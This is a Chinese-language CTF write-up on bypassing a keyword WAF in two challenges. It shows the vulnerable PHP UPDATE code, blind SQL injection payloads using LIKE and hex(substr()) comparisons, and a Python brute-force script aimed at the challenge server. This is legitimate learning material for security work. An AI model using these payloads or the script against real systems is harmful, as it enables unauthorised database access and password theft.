77777 77777(2) WriteUp 绕waf技巧学习
两个题的代码都是一样的 只是waf不一样 贴出代码
<?php
function update_point($p,$point){
global $link;
$q = sprintf("UPDATE users SET point=%d%s",$p,waf($point));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
if(!update_point($_POST['flag'],$_POST['hi']))
echo 'sorry';
?>
可以看到Post两个参数flag,hi用sprintf拼接,update语句进入数据库执行,flag为整数,参数hi的类型为字符串类型,所以我们可以通过改变hi的值,来检测哪些参数被过滤。
77777 分析(查询字段为 password)
首先我们检测哪些参数被过滤了。如果被过滤了会弹出fuck。
被过滤
updatexml
extractvalue
ascii
=
sleep
information_schema
没被过滤
select
substr
mid
like
where
length
in
hex
and
or
*
|
.....
绝大多数的函数都被禁止了,所以报错注入,时间盲注等都不能用,=号也被过滤了。所以这个时候我们可以用like来代替=来进行盲注
自己测试环境 创建users表,point 和 password字段
update users set point=1231 where substr(password,1,1) like 'h';
where后面语句的意思是 password字段的第一位如果和'h'相等 (即password第一个字段为'h'),则前面的语句会执行成功,Point会成为1231 如图 2.png成功执行
实际环境执行语句:
POST:flag=1231&hi= where length(password)>15 point 不为1231
POST:flag=1231&hi= where length(password)>14 point 为1231 说明password字段长度为15
POST:flag=1231&hi= where substr(password,1,1) like 'h' point为1231 说明password字段第一位为'h'
......
所以我们可以一个字段字段的跑,写python脚本。
#coding = utf8
import requests
import time
string = "qwertyuiopasdfghjklzxcvbnm0123456789"
url = "http://47.52.137.90:20000/"
l = ""
for i in range(1,16):
for t in string:
PostData = {"flag":'14521',"hi":" where substr(password,1,%s) like '%s'"%(i,l+t)}
if "14521" in requests.post(url,data = PostData).text:
l = l+t
print i,l
time.sleep(1)
break
77777(2)分析(查询字段为pw)
被过滤了:
updatexml
extractvalue
ascii
=
sleep
in
like
where
<
(pw)
pw,
2
3
4
5
9
information_schema
and
or
没过滤:
select
length
>
substr
hex
|
0
1
6
7
8
这次我们能用的更少 连数字都被过滤了一些 但是我们仍然能能够绕过
最终Payload:3.png
update users set point='test' | hex(substr( password ,1,1))>(67) 执行成功,point变为1
介绍几个mysql知识
- 可以在mysql直接进行加减 select (10+10) 输出 20
- hex()函数是将字符或数字转换成Ascii码的16进制形式 select hex('h') 输出68
因为 2 3 4 5 9 (pw) 被过滤了所以我们可以用剩余数字组合进行加减来代替 (pw) => (%20pw%20)
所以Payload的含义是 将password字段的第一位进行hex编码,将得到的hex编码和67比较大小。
图4 图5 可知 pw字段的第一位hex编码为68 对照ascii码表可知 pw 第一位为h
图6 图7 可知 pw字段的第七位hex编码为37 对照ascii码表可知 pw 第七位为7
所以最终跑出来pw字段值
学到了很多
77777 77777(2) WriteUp 绕waf技巧学习的更多相关文章
- Burpsuit分块传输插件绕WAF原理和技巧(转)
0x00 原理 给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容.如图一所示 0x02 实验环境 本机win10+x ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
- 【MFC】MFC技巧学习 当做字典来查
MFC技巧学习 摘自:http://www.cnblogs.com/leven20061001/archive/2012/10/17/2728023.html 1."属性页的添加:创建对话框 ...
- Python 工匠:使用数字与字符串的技巧学习笔记
#Python 工匠:使用数字与字符串的技巧学习笔记#https://github.com/piglei/one-python-craftsman/blob/master/zh_CN/3-tips-o ...
- 绕WAF常见思路整理(一)
最*被*台的一些事情搞得心态有点崩,很久没写文了 *期想整理一下常见的各种操作中绕过WAF的思路与免杀的思路(这部分之前没整理完以后有机会再说),受限于个人水*因素所以一定是不完全的,而且在WAF日新 ...
- 一次简单的SQL注入绕WAF
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- 绕WAF文章收集
在看了bypassword的<在HTTP协议层面绕过WAF>之后,想起了之前做过的一些研究,所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧. 技巧1 使用注释扰乱分块数 ...
- 十八:SQL注入之堆叠及绕WAF
堆叠查询注入 (双查询注入) stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一 ...
随机推荐
- Flutter学习笔记(28)--使用第三方jar包
如需转载,请注明出处:Flutter学习笔记(28)--使用第三方jar包 1.打开一个Flutter项目,点击编码窗口右上角的Open for Editing in Android Studio,这 ...
- mysql与python的交互
mysql是一种关系型数据库,是为了表示事物与事物之间的关系,本身存于数据库中的内容意义并不大,所以广泛应用于编程语言中,python中九含有与MySQL交互的模块 pymysql 编程对mysql的 ...
- python基础之字符串讲解(下)
7.swapspace 这个命令是让大小写翻转 s = 'qwerQ' s3 = s.swapcase() print(s3) 8.title 每个隔开(特殊字符或者数字)的单词首字母大写 s = ' ...
- API访问控制设计
References ● OAuth 2.0 for native apps: https://datatracker.ietf.org/doc/rfc8252/ ● OAuth 2.0 for br ...
- React-Native三种断点调试方式的流程和优缺点比较
RN的调试和web端的调试虽然相似,但是也有一些不同,下面就来比较一下三种断点调试方法的差异 总结: 感觉还是第一种好一些 1.React-Native-Debugger工具调试法 1.1 首先我们得 ...
- Linux下执行脚本文件出现-bash: ./startup.sh: /bin/sh^M: 坏的解释器: 没有那个文件或目录
原因:脚本文件是在Windows环境下编辑的,windows环境下,每一行的结尾是\n\r,而Linux环境下,每一行结尾是\n.使用cat -A filename 可以看到每行的结尾后面多出了一 ...
- Selenium(九):Xpath选择器
1. Xpath选择器 1.1 Xpath语法简介 前面我们学习了CSS选择元素. 大家可以发现非常灵活.强大. 还有一种灵活.强大的选择元素的方式,就是使用Xpath表达式. XPath (XML ...
- SpringBoot系列随笔 - BootJar的启动方式
前言 写完maven的加密插件后,尝试在boot启动时的类加载过程中编写解密代码时,发现了一个平常没有注意的地方. 那就是boot-jar的启动方式与我们平常编写的可执行jar是存在很大差别的. 所以 ...
- 运用arcgis sever 进行地图发布
1.对已有的文件在arcgis中进行编辑:如图 2.从file下拉的目录中找到share as 点击 3.选择自己的manage sever 填写好名称 4.继续下一步 5.重点看capabiliti ...
- Android项目实战之高仿网易云音乐创建项目和配置
这一节我们来讲解创建项目:说道大家可能就会说了,创建项目还有谁不会啊,还需要讲吗,别急听我慢慢到来,肯定有你不知道的. 使用项目Android Studio创建项目我们这里就不讲解了,主要是讲解如何配 ...